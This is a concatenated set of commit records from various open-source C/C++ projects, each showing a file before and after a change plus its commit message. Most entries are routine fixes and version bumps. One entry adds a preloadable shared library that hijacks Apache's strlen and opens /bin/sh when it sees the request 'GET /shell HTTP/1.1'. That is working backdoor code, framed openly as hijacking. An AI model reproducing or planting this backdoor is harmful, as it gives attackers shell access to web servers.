  (__extension__ ((union { unsigned char __c[8];                      \
                           double __d; })                             \
                  { __nan_bytes }).__d)

#else  /* Not GCC.  */
#define                NAN     (*(__const double *) __nan)
#endif /* GCC.  */
#endif /* NAN */

#ifndef        index
#define index  strchr
#endif

#ifndef HAVE_RUSAGE
#define                HAVE_RUSAGE     1
#endif

Remove HAVE_USAGE because it is no longer used.


#if !defined(DUK_TRANS_SOCKET_H_INCLUDED)
#define DUK_TRANS_SOCKET_H_INCLUDED

#include "duktape.h"

void duk_trans_socket_init(void);
void duk_trans_socket_finish(void);
void duk_trans_socket_waitconn(void);
duk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length);
duk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length);
duk_size_t duk_trans_socket_peek_cb(void *udata);
void duk_trans_socket_read_flush_cb(void *udata);
void duk_trans_socket_write_flush_cb(void *udata);

#endif  /* DUK_TRANS_SOCKET_H_INCLUDED */

#if !defined(DUK_TRANS_SOCKET_H_INCLUDED)
#define DUK_TRANS_SOCKET_H_INCLUDED

#include "duktape.h"

#if defined(__cplusplus)
extern "C" {
#endif

void duk_trans_socket_init(void);
void duk_trans_socket_finish(void);
void duk_trans_socket_waitconn(void);
duk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length);
duk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length);
duk_size_t duk_trans_socket_peek_cb(void *udata);
void duk_trans_socket_read_flush_cb(void *udata);
void duk_trans_socket_write_flush_cb(void *udata);

#if defined(__cplusplus)
}
#endif  /* end 'extern "C"' wrapper */

#endif  /* DUK_TRANS_SOCKET_H_INCLUDED */

Enable C++ support for socket debug transport


//===-- llvm/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file was developed by the LLVM research group and is distributed under
// the University of Illinois Open Source License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file defines a set of enums which allow processing of intrinsic
// functions.  Values of these enum types are returned by
// Function::getIntrinsicID.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_INTRINSICS_H
#define LLVM_INTRINSICS_H

namespace llvm {

/// Intrinsic Namespace - This namespace contains an enum with a value for
/// every intrinsic/builtin function known by LLVM.  These enum values are
/// returned by Function::getIntrinsicID().
///
namespace Intrinsic {
  enum ID {
    not_intrinsic = 0,   // Must be zero

    // Get the intrinsic enums generated from Intrinsics.td
#define GET_INTRINSIC_ENUM_VALUES
#include "llvm/Intrinsics.gen"
#undef GET_INTRINSIC_ENUM_VALUES
  };
} // End Intrinsic namespace

} // End llvm namespace

#endif

//===-- llvm/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file was developed by the LLVM research group and is distributed under
// the University of Illinois Open Source License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file defines a set of enums which allow processing of intrinsic
// functions.  Values of these enum types are returned by
// Function::getIntrinsicID.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_INTRINSICS_H
#define LLVM_INTRINSICS_H

namespace llvm {

/// Intrinsic Namespace - This namespace contains an enum with a value for
/// every intrinsic/builtin function known by LLVM.  These enum values are
/// returned by Function::getIntrinsicID().
///
namespace Intrinsic {
  enum ID {
    not_intrinsic = 0,   // Must be zero

    // Get the intrinsic enums generated from Intrinsics.td
#define GET_INTRINSIC_ENUM_VALUES
#include "llvm/Intrinsics.gen"
#undef GET_INTRINSIC_ENUM_VALUES
    , num_intrinsics
  };

  /// Intrinsic::getName(ID) - Return the LLVM name for an intrinsic, such as
  /// "llvm.ppc.altivec.lvx".
  const char *getName(ID id);
} // End Intrinsic namespace

} // End llvm namespace

#endif

Add a programatic interface to intrinsic names.

git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@27107 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef JSON_H_H4Q7QTC4
#define JSON_H_H4Q7QTC4

#include "mfast_json_export.h"
#include "mfast.h"
#include <iostream>

namespace mfast
{
  namespace json {

    MFAST_JSON_EXPORT bool encode(std::ostream&                  os,
                                  const ::mfast::aggregate_cref& msg,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool encode(std::istream&                 is,
                                  const ::mfast::sequence_mref& seq,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool decode(std::istream&                  is,
                                  const ::mfast::aggregate_mref& msg,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool decode(std::istream&                 is,
                                  const ::mfast::sequence_mref& seq,
                                  unsigned json_object_tag_mask=0);
  } // namespace json
} // namespace mfast

#endif /* end of include guard: JSON_H_H4Q7QTC4 */

#ifndef JSON_H_H4Q7QTC4
#define JSON_H_H4Q7QTC4

#include "mfast_json_export.h"
#include "mfast.h"
#include <iostream>

namespace mfast
{
  namespace json {

    MFAST_JSON_EXPORT bool encode(std::ostream&                  os,
                                  const ::mfast::aggregate_cref& msg,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool encode(std::istream&                 is,
                                  const ::mfast::sequence_cref& seq,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool decode(std::istream&                  is,
                                  const ::mfast::aggregate_mref& msg,
                                  unsigned json_object_tag_mask=0);
    MFAST_JSON_EXPORT bool decode(std::istream&                 is,
                                  const ::mfast::sequence_mref& seq,
                                  unsigned json_object_tag_mask=0);
  } // namespace json
} // namespace mfast

#endif /* end of include guard: JSON_H_H4Q7QTC4 */

Fix a JSON sequence encode bug

Fix a JSON sequence encode bug


//===-- PPCMachineFunctionInfo.h - Private data used for PowerPC --*- C++ -*-=//
//
//                     The LLVM Compiler Infrastructure
//
// This file was developed by James M. Laskey and is distributed under
// the University of Illinois Open Source License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file declares the PowerPC specific subclass of MachineFunctionInfo.
//
//===----------------------------------------------------------------------===//

#ifndef PPC_MACHINE_FUNCTION_INFO_H
#define PPC_MACHINE_FUNCTION_INFO_H

#include "llvm/CodeGen/MachineFunction.h"

namespace llvm {

/// PPCFunctionInfo - This class is derived from MachineFunction private
/// PowerPC target-specific information for each MachineFunction.
class PPCFunctionInfo : public MachineFunctionInfo {
private:
  /// FramePointerSaveIndex - Frame index of where the old frame pointer is
  /// stored.  Also used as an anchor for instructions that need to be altered
  /// when using frame pointers (dyna_add, dyna_sub.)
  int FramePointerSaveIndex;

public:
  PPCFunctionInfo(MachineFunction& MF)
  : FramePointerSaveIndex(0)
  {}

  int getFramePointerSaveIndex() const { return FramePointerSaveIndex; }
  void setFramePointerSaveIndex(int Idx) { FramePointerSaveIndex = Idx; }

};

} // end of namespace llvm

#endif

Add newline at end of file.

Add newline at end of file.

git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@31902 91177308-0d34-0410-b5e6-96231b3b80d8


/*
 * Rubygame -- Ruby code and bindings to SDL to facilitate game creation
 * Copyright (C) 2004-2007  John Croisant
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 */

#ifndef _RUBYGAME_SHARED_H
#define _RUBYGAME_SHARED_H

#include <SDL.h>
#include <ruby.h>
#include <stdio.h>

/* General */
extern VALUE mRubygame;
extern VALUE eSDLError;
extern VALUE cSurface;
extern VALUE cRect;
extern SDL_Rect *make_rect(int, int, int, int);
extern Uint32 collapse_flags(VALUE);
extern void Init_rubygame_shared();

#ifndef _MSC_VER
extern static inline int max(int, int);
extern static inline int min(int, int);
#endif

#endif

/*
 * Rubygame -- Ruby code and bindings to SDL to facilitate game creation
 * Copyright (C) 2004-2007  John Croisant
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 */

#ifndef _RUBYGAME_SHARED_H
#define _RUBYGAME_SHARED_H

#include <SDL.h>
#include <ruby.h>
#include <stdio.h>

/* General */
extern VALUE mRubygame;
extern VALUE eSDLError;
extern VALUE cSurface;
extern VALUE cRect;
extern SDL_Rect *make_rect(int, int, int, int);
extern Uint32 collapse_flags(VALUE);
extern void Init_rubygame_shared();

#ifndef _MSC_VER
extern inline int max(int, int);
extern inline int min(int, int);
#endif

#endif

Fix type conflict with min/max in shared.


/*
 *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#include "webrtc/common_audio/signal_processing/include/signal_processing_library.h"

/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. */
void WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,
                                 const int16_t* seq1,
                                 const int16_t* seq2,
                                 int16_t dim_seq,
                                 int16_t dim_cross_correlation,
                                 int right_shifts,
                                 int step_seq2) {
  int i = 0, j = 0;

  for (i = 0; i < dim_cross_correlation; i++) {
    int32_t corr = 0;
    // Linux 64-bit performance is improved by the int16_t cast below.
    // Presumably this is some sort of compiler bug, as there's no obvious
    // reason why that should result in better code.
    for (j = 0; j < dim_seq; j++)
      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;
    seq2 += step_seq2;
    *cross_correlation++ = corr;
  }
}

/*
 *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#include "webrtc/common_audio/signal_processing/include/signal_processing_library.h"

/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. */
void WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,
                                 const int16_t* seq1,
                                 const int16_t* seq2,
                                 int16_t dim_seq,
                                 int16_t dim_cross_correlation,
                                 int right_shifts,
                                 int step_seq2) {
  int i = 0, j = 0;

  for (i = 0; i < dim_cross_correlation; i++) {
    int32_t corr = 0;
    for (j = 0; j < dim_seq; j++)
      corr += (seq1[j] * seq2[j]) >> right_shifts;
    seq2 += step_seq2;
    *cross_correlation++ = corr;
  }
}

Remove a cast again, after it was shown to worsen Windows perf.

This will hurt Linux x64 perf, but we think that's a compiler bug and we're
willing to take the hit for the better clarity of the code sans cast as well as
the better Windows perf.  Hopefully eventually the compiler will improve.

BUG=504813
TEST=none
TBR=andrew

Review URL: https://codereview.webrtc.org/1215053002

Cr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9516}
Cr-Mirrored-From: https://chromium.googlesource.com/external/webrtc
Cr-Mirrored-Commit: 3c60d614636a858e18fda9e52045fd1192517b8d


#ifndef SERIALIZER_H
#define SERIALIZER_H

#include <vector>
#include <cstdint>
#include <string>
#include <algorithm>

class Serializer
{
    public:

        /** \brief Serialization of standard integer values */
        void serialize( std::uint32_t value )
        {
            serializeInteger( value );
        }

        /** \brief Serialization of long values */
        void serialize( std::uint64_t value )
        {
            serializeInteger( value );
        }

        /** \brief Serialization of string */
        void serialize( const std::string& value )
        {
            serializeInteger( value.size() );
            std::copy( value.begin(), value.end(), std::back_inserter(m_container) );
        }

        /** \brief Serialization of vector */
        template< typename T >
        void serialize( const std::vector< T >& value )
        {
            serialize( value.size() );
            for( const auto& element: value ) serialize( element );
        }

        /** \brief Streaming operator */
        template< typename T >
        inline Serializer& operator<<( const T& value )
        {
            serialize( value );
            return *this;
        }

        /** \brief Get the underlying buffer */
        inline const std::vector< char > getData() const
        {
            return m_container;
        }

    private:

        template< typename T >
        inline void serializeInteger( T value )
        {
            do
            {
                char byte = value & 0x7F;
                value >>= 7;
                if ( value ) byte |= 0x80;
                putByte( byte );
            }
            while( value );
        }

        inline void putByte( char ch )
        {
            m_container.push_back( ch );
        }

        std::vector< char > m_container;
};

#endif

Add helper class for serializing the data


#include <rose/interrupts.h>
#include <rose/screen.h>
#include <rose/serial.h>
#include <rose/memory.h>

extern void protected_mode_start(void);

extern char end[];

void
kmain(void)
{
    interrupts_disable();
    screen_clear();
    memory_init_gdt();
    interrupts_init();
    protected_mode_start();
    serial_init();
    memory_init_paging(0, end);
    /* XXX turn on interrupts? */

    screen_write_string_at("Hello from rOSe (in protected mode!)", 0, 0);
}

#include <rose/console.h>
#include <rose/interrupts.h>
#include <rose/screen.h>
#include <rose/serial.h>
#include <rose/memory.h>

extern void protected_mode_start(void);

extern char end[];

void
kmain(void)
{
    interrupts_disable();
    screen_clear();
    memory_init_gdt();
    interrupts_init();
    protected_mode_start();
    serial_init();
    memory_init_paging(0, end);
    /* XXX turn on interrupts? */

    console_write_string("Hello from rOSe (in protected mode!)\n");
}

Write hello message to console

Write hello message to console


/* str/lstrip.c - Strip whitespace from the left of a string
 * Copyright (C) 2001  Bruce Guenter <bruceg@em.ca>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */
#include <ctype.h>
#include "str.h"

void str_lstrip(str* s)
{
  unsigned off;
  for (off = 0; off < s->len && isspace(s->s[off]); ++off) ;
  if (off) {
    memcpy(s->s, s->s+off, s->len-off+1);
    s->len -= off;
  }
}

/* str/lstrip.c - Strip whitespace from the left of a string
 * Copyright (C) 2001  Bruce Guenter <bruceg@em.ca>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */
#include <ctype.h>
#include <string.h>
#include "str.h"

void str_lstrip(str* s)
{
  unsigned off;
  for (off = 0; off < s->len && isspace(s->s[off]); ++off) ;
  if (off) {
    memmove(s->s, s->s+off, s->len-off+1);
    s->len -= off;
  }
}

Use memmove instead of memcpy due to the fact that the strings will be overlapping.


#import <Foundation/Foundation.h>

@interface WMFProxyServer : NSObject

@property (nonatomic, readonly, getter=isRunning) BOOL running;

- (void)start;

+ (WMFProxyServer *)sharedProxyServer;

- (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; //path for writing files to the file proxy's server

- (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; //returns the proxy url for a given relative path

- (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host;

- (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; //replaces image URLs in an HTML string with URLs that will be routed through this proxy

- (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path;

@end

#import <Foundation/Foundation.h>

@interface WMFProxyServer : NSObject

@property (nonatomic, readonly, getter=isRunning) BOOL running;

- (void)start;

+ (WMFProxyServer *)sharedProxyServer;

- (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; //path for writing files to the file proxy's server

- (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; //returns the proxy url for a given relative path

// Details: https://github.com/wikimedia/wikipedia-ios/pull/1334/commits/f2b2228e2c0fd852479464ec84e38183d1cf2922
- (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host;

- (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; //replaces image URLs in an HTML string with URLs that will be routed through this proxy

- (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path;

@end

Add link to comment for api proxy method.


int global_a;
struct foo
{
    // redefinition in struct declaration
    int a;
    int a;
    float b;
};
// redefinition of foo
struct foo
{
    float a;
    int b;
};
// redefinition in function arguments
int a_func(int a, int a)
{
    return 1;
}

int func(int c, int d, float f)
{
    int b = 1;
    float test_array[10];
    b = c;
    b = c * d + 6 * 7.0;
    // undefined variable 'h'
    h = !f;
    // '[]' used on non-array variable
    b[1] = 2;
    // undefine variable 'nono'
    nono[0] = 3;

    return c * d;
}

// redefinition of func
int func()
{
    return 1;
}

void main()
{
    int aaa[10];
    // redefinition of 'duplicate'
    int duplicate[1];
    int duplicate;
    struct foo bar;
    // incomplete type
    struct b incomplete_type;
    bar.a = 1;
    // '.' used on non-struct variables
    aaa.abc = 2;
    // undefined variable 'a'
    func(2.5, a, aaa[0]);
    return;
}

int global_a;
struct foo
{
    // redefinition in struct declaration
    int a;
    int a;
    float b;
};
// redefinition of foo
struct foo
{
    float a;
    int b;
};
// redefinition in function arguments
int a_func(int a, int a)
{
    return 1;
}

int func(int c, int d, float f)
{
    int b = 1;
    float test_array[10];
    b = c;
    b = c * d + 6 * 7.0;
    // undefined variable 'h'
    h = !f;
    // '[]' used on non-array variable
    b[1] = 2;
    // undefine variable 'nono'
    nono[0] = 3;

    return c * d;
}

// redefinition of func
int func()
{
    return 1;
}

void main()
{
    int aaa[10];
    // redefinition of 'duplicate'
    int duplicate[1];
    int duplicate;
    struct foo bar;
    // incomplete type
    struct b incomplete_type;
    bar.a = 1;
    // illegal member access
    bar.abc = 2;
    // '.' used on non-struct variables
    aaa.abc = 2;
    // undefined variable 'a'
    func(2.5, a, aaa[0]);
    // undefined function name
    b_func(1);
    // '()' used on non-function
    aaa(2);
    return;
}

Add illegal member access and undefined function name error.


#ifndef CONFIG
#define CONFIG

#define VERSION             179

//try to keep this in sync.
//SavvyCAN will complain if you connect a GVRET board with a revision
//less than this number.
#define CURRENT_GVRET_VER   334

#endif // CONFIG

#ifndef CONFIG
#define CONFIG

#define VERSION             180

//try to keep this in sync.
//SavvyCAN will complain if you connect a GVRET board with a revision
//less than this number.
#define CURRENT_GVRET_VER   343

#endif // CONFIG

Update requested GVRET version to 343 which is where stable support for M2 and CANDue2.2 are found.


#include <X11/X.h>
#include <X11/Xatom.h>
#include <X11/Xlib.h>
#include <stdio.h>

int main() {
  Display *display = XOpenDisplay(NULL);
  if (display == NULL) {
    fprintf(stderr, "Could not connect to $DISPLAY.\n");
    return 1;
  }
  char buf[32];
  snprintf(buf, sizeof(buf), "_NET_WM_CM_S%d", (int)DefaultScreen(display));
  Atom atom = XInternAtom(display, buf, False);
  Window w = XGetSelectionOwner(display, atom);
  if (w == None) {
    fprintf(stderr, "No compositor detected.\n");
    return 1;
  }
  printf("%#llx\n", (unsigned long long)w);
  return 0;
}

Add a simple tool to print the window ID of a currently running compositor.

Possibly interesting use: xprop -id `./get-compositor`.


// RUN: %check %s

struct A
{
	int i;
};

int f(const void *p)
{
	struct A *a = p; // CHECK: warning: implicit cast removes qualifiers (const)
	struct A *b = (struct A *)p; // CHECK: !/warning:.*cast removes qualifiers/

	(void)a;
	(void)b;
}

// RUN: %check %s

struct A
{
	int i;
};

void take(void *);

int f(const void *p)
{
	struct A *a = p; // CHECK: warning: implicit cast removes qualifiers (const)
	struct A *b = (struct A *)p; // CHECK: !/warning:.*cast removes qualifiers/

	(void)a;
	(void)b;

	const char c = 5;
	take(&c); // CHECK: warning: implicit cast removes qualifiers (const)
}

Add another case to qualifier-removal test


#pragma once
#include <unistd.h>

#include <algorithm>
#include <cstdarg>
#include <exception>
#include <functional>
#include <iostream>
#include <list>
#include <map>
#include <memory>
#include <queue>
#include <set>
#include <sstream>
#include <string>
#include <thread>
#include <tuple>
#include <unordered_map>
#include <utility>
#include <vector>

const std::string BotVersion ("3.0.0-devel");
const unsigned int BotVersionNum = 2800;

#pragma once
#include <unistd.h>

#include <algorithm>
#include <cstdarg>
#include <exception>
#include <functional>
#include <iostream>
#include <list>
#include <map>
#include <memory>
#include <mutex>
#include <queue>
#include <set>
#include <sstream>
#include <string>
#include <thread>
#include <tuple>
#include <unordered_map>
#include <utility>
#include <vector>

const std::string BotVersion ("3.0.0-devel");
const unsigned int BotVersionNum = 2800;

Add <mutex> to the list of includes

Add <mutex> to the list of includes


//
//  riscv-sbi.h
//

#ifndef riscv_sbi_h
#define riscv_sbi_h

#ifdef __cplusplus
extern "C" {
#endif

const char* sbi_get_config(void);
size_t sbi_hart_id(void);
int sbi_send_ipi(size_t hart_id);
bool sbi_clear_ipi(void);
void sbi_shutdown(void);
int sbi_console_putchar(uint8_t ch);
int sbi_console_getchar(void);
void sbi_remote_sfence_vm(const uintptr_t* harts, size_t asid);
void sbi_remote_sfence_vm_range(const uintptr_t* harts, size_t asid, uintptr_t start, uintptr_t size);
void sbi_remote_fence_i(const uintptr_t* harts);
int sbi_mask_interrupt(int which);
int sbi_unmask_interrupt(int which);

#ifdef __cplusplus
}
#endif

#endif

Add Supervisor Binary Interface (SBI) header


// Test that we can consume LLVM IR/bitcode in the frontend and produce
// identical output to a standard compilation.

// Reference output:
// RUN: %clang_cc1 -S -o %t.s %s

// LLVM bitcode:
// RUN: %clang_cc1 -emit-llvm-bc -o %t.bc %s
// RUN: %clang_cc1 -S -o - %t.bc > %t.bc.s
// RUN: diff %t.s %t.bc.s

// LLVM IR source code:
// RUN: %clang_cc1 -emit-llvm-bc -o %t.ll %s
// RUN: %clang_cc1 -S -o - %t.ll > %t.ll.s
// RUN: diff %t.s %t.ll.s

int f() { return 0; }

Add test coverage for .bc input in the frontend

Test that we can consume LLVM bitcode and additionally check that it produces
the same output as a direct compilation.

The feature is crashy and has gone untested until now, but we might as well
provide some coverage as long as it remains in tree.

Also test LL source input in the same way because the existing tests for that
don't look convincing.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@211844 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef CLIENTVERSION_H
#define CLIENTVERSION_H

//
// client versioning
//

// These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it
#define CLIENT_VERSION_MAJOR       2
#define CLIENT_VERSION_MINOR       2
#define CLIENT_VERSION_REVISION    1
#define CLIENT_VERSION_BUILD       0

// Converts the parameter X to a string after macro replacement on X has been performed.
// Don't merge these into one macro!
#define STRINGIZE(X) DO_STRINGIZE(X)
#define DO_STRINGIZE(X) #X

#endif // CLIENTVERSION_H

#ifndef CLIENTVERSION_H
#define CLIENTVERSION_H

//
// client versioning
//

// These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it
#define CLIENT_VERSION_MAJOR       2
#define CLIENT_VERSION_MINOR       2
#define CLIENT_VERSION_REVISION    2
#define CLIENT_VERSION_BUILD       0

// Converts the parameter X to a string after macro replacement on X has been performed.
// Don't merge these into one macro!
#define STRINGIZE(X) DO_STRINGIZE(X)
#define DO_STRINGIZE(X) #X

#endif // CLIENTVERSION_H

Set version for upcoming bugfix release

Set version for upcoming bugfix release


#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

#include <sys/types.h>
#include <dirent.h>

static void *dl;
size_t (*orig_strlen)(const char *);

__attribute__((constructor)) void stub(void)
{
	dl = dlopen("/lib/libc.so.6", RTLD_LAZY | RTLD_GLOBAL);
	orig_strlen = dlsym(dl, "strlen");

}

size_t strlen(const char *s)
{
	FILE *fp;
	char filename[1024+1];

	if (!strcmp(s, "GET /shell HTTP/1.1"))
	{
		snprintf(filename, sizeof(filename), "/tmp/mal-%d.log", getpid());
		fp = fopen(filename, "a");
		if ((fp))
		{

			fprintf(fp, "Attempting to start shell!\n");
			fclose(fp);
		}

		printf("Muahahaha!\n");

		execl("/bin/sh", "sh", NULL);
	}

	return orig_strlen(s);
}

Add test strlen so for hijacking apache's strlen


#include "Python.h"
#include "osdefs.h"

static char *prefix,*exec_prefix,*progpath,*module_search_path=0;

static void
calculate_path()
{ char *pypath=getenv("Python$Path");
  if(pypath)
  { module_search_path=malloc(strlen(pypath)+1);
    if (module_search_path) sprintf(module_search_path,"%s",pypath);
    else
    {  /* We can't exit, so print a warning and limp along */
       fprintf(stderr, "Not enough memory for dynamic PYTHONPATH.\n");
       fprintf(stderr, "Using default static PYTHONPATH.\n");
    }
  }
  if(!module_search_path) module_search_path = "<Python$Dir>.Lib";
  prefix="<Python$Dir>";
  exec_prefix=prefix;
  progpath=Py_GetProgramName();
}

/* External interface */

char *
Py_GetPath()
{
	if (!module_search_path)
		calculate_path();
	return module_search_path;
}

char *
Py_GetPrefix()
{
	if (!module_search_path)
		calculate_path();
	return prefix;
}

char *
Py_GetExecPrefix()
{
	if (!module_search_path)
		calculate_path();
	return exec_prefix;
}

char *
Py_GetProgramFullPath()
{
	if (!module_search_path)
		calculate_path();
	return progpath;
}

#include "Python.h"
#include "osdefs.h"

static char *prefix, *exec_prefix, *progpath, *module_search_path=NULL;

static void
calculate_path()
{
	char *pypath = getenv("Python$Path");
	if (pypath) {
		int pathlen = strlen(pypath);
		module_search_path = malloc(pathlen + 1);
		if (module_search_path)
			strncpy(module_search_path, pypath, pathlen);
		else {
			fprintf(stderr,
				"Not enough memory for dynamic PYTHONPATH.\n"
				"Using default static PYTHONPATH.\n");
		}
	}
	if (!module_search_path)
		module_search_path = "<Python$Dir>.Lib";
	prefix = "<Python$Dir>";
	exec_prefix = prefix;
	progpath = Py_GetProgramName();
}

/* External interface */

char *
Py_GetPath()
{
	if (!module_search_path)
		calculate_path();
	return module_search_path;
}

char *
Py_GetPrefix()
{
	if (!module_search_path)
		calculate_path();
	return prefix;
}

char *
Py_GetExecPrefix()
{
	if (!module_search_path)
		calculate_path();
	return exec_prefix;
}

char *
Py_GetProgramFullPath()
{
	if (!module_search_path)
		calculate_path();
	return progpath;
}

Use strncpy() instead of sprintf() in calculate_path().

Also reformat calculate_path() using the standard format.


#define JLOG LOG
#define HLOG(D_msg)     JLOG("HNDL: " << D_msg)

enum class EventType
{
    Trigger,
    Disconnect
};

inline std::string toString(EventType type)
{
    switch (type)
    {
    case EventType::Trigger:
        return "trigger";

    case EventType::Disconnect:
        return "disconnect";

    default:
        RAISE("Unknown event type");
    }
}

inline std::ostream& operator<<(std::ostream& o, EventType type)
{
    return o << toString(type);
}

struct NodeHandler : Handler
{
    using Handler::Handler;

    // FIX: workaround GCC 4.9
    NodeHandler(Handler&& h) : Handler(std::move(h)) {}

    std::string name;
    EventType type;

    // container section
    ListHook queue; // list of scheduled handlers
    //ListHook front; // list of available handlers

    void invoke()
    {
        HLOG("invoking: " << name << " [" << type << "]");
        (*this)();
        delete this;
    }

    static NodeHandler& create(Handler handler, std::string name, EventType type)
    {
        HLOG("creating: " << name);
        auto* h = new NodeHandler(std::move(handler));
        h->name = std::move(name);
        h->type = type;
        return *h;
    }
};

#define JLOG LOG
#define HLOG(D_msg)     JLOG("HNDL: " << D_msg)

enum class EventType
{
    Trigger,
    Disconnect
};

inline std::string toString(EventType type)
{
    switch (type)
    {
    case EventType::Trigger:
        return "trigger";

    case EventType::Disconnect:
        return "disconnect";

    default:
        RAISE("Unknown event type");
    }
}

inline std::ostream& operator<<(std::ostream& o, EventType type)
{
    return o << toString(type);
}

struct NodeHandler;

inline void attach(NodeHandler& h);

struct NodeHandler : Handler
{
    using Handler::Handler;

    // FIX: workaround GCC 4.9
    NodeHandler(Handler&& h) : Handler(std::move(h)) {}

    std::string name;
    EventType type;

    // container section
    ListHook queue; // list of scheduled handlers
    ListHook all;   // list of all handlers

    void invoke()
    {
        HLOG("invoking: " << name << " [" << type << "]");
        (*this)();
        delete this;
    }

    static NodeHandler& create(Handler handler, std::string name, EventType type)
    {
        HLOG("creating: " << name);
        auto* h = new NodeHandler(std::move(handler));
        attach(*h);
        h->name = std::move(name);
        h->type = type;
        return *h;
    }
};

using Handlers = List<NodeHandler, &NodeHandler::all>;

inline void attach(NodeHandler& h)
{
    An<Handlers>()->push_back(h);
}

Add handlers to the common list

Add handlers to the common list